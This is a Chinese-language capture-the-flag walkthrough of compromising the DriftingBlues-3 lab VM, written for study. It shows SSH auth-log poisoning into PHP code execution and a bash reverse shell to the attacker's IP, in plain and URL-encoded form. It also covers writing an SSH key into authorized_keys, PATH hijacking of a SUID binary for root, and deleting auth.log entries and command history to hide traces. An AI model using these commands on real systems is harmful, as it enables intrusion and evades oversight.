前言
靶机:DriftingBlues-3
,IP地址192.168.1.60
攻击:kali
,IP地址192.168.1.16
都采用虚拟机,网卡为桥接模式
主机发现
使用arp-scan -l
或netdiscover -r 192.168.1.1/24
信息收集
使用nmap扫描端口
网站探测
访问80端口,并查看页面源码,发现有图片等信息,可能是网站型目录
使用gobuster、dirsearch、ffuf、dirb、dirbuster
等工具扫描目录
shell
gobuster dir -u http://192.168.1.60 -w /usr/share/wordlists/dirb/big.txt -x php,zip,md,txt,html,jpg -b 404 -d
访问robots.txt
,发现eventadmins/
目录
访问drual、phpmyadmin、privacy
,发现都是信息ABC
和ABCD
访问secret
访问wp-admin
访问eventadmins/
目录
翻译一下,发现/littlequeenofspades.html
页面
访问/eventadmins
漏洞寻找
查看页面源代码,发现编码aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==
解码这个
访问/adminsfixit.php
,发现是ssh
连接的认证日志,通过测试发现确实会记录ssh
登录时的用户名、地址和端口
shell
ssh test@192.168.1.60
尝试连接,修改ssh
连接时的用户为php
脚本,测试是否可以
访问页面
测试是否可行
漏洞利用
尝试使用bash
命令反弹
shell
bash -c 'bash -i >& /dev/tcp/192.168.1.16/9999 0>&1'
进行URL编码
bash+-i+>%26+%2fdev%2ftcp%2f192.168.1.16%2f9999+0>%261%0a
在kali
中开启监听,然后使用浏览器执行上面的反弹命令
靶机内信息收集
使用find
寻找具有SUID权限和capabilites
shell
find / -perm -4000 -print 2>/dev/null
find / -type f -executable 2>/dev/null | xagrs getcap -r 2>/dev/null
查看定时任务
shell
cat /etc/crontab
查看网络状态信息
查看备份文件夹,看有无信息
使用find
寻找其他用户具有可写权限
shell
find /home -perm /2 2>/dev/null
-perm /2 是指其他用户具有可写权限,/2是指写权限
查看这个目录,发现具有写权限
提权
提权至robertj
在kali
生成ssh
的公私钥
然后把公钥id_rsa.pub
上传到这个目录下,改名为authorized_keys
然后使用ssh
私钥连接
之前使用find
寻找具有SUID权限文件,发现getinfo
,在linux
中并无该命令,测试该命令
把这个文件下载到kali
shell
scp robertj@192.168.1.60:/usr/bin/getinfo ./
使用strings
命令查看
提权至root
那么可以使用export
设置临时变量的优先目录,最好在/tmp
目录
编写脚本提权
shell
echo "/bin/bash" > ip
查看flag
清除痕迹
清理日志
shell
sed -i "/192.168.1.16/d" auth.log
删除之前生成的公钥
清除命令历史记录
总结
- 主要考证日志文件的利用,这里就是利用验证登录日志
auth.log
通过adminsfixit.php
文件展露 - 然后就是考察
ssh
公私钥的使用 - 考察临时环境变量的优先级目录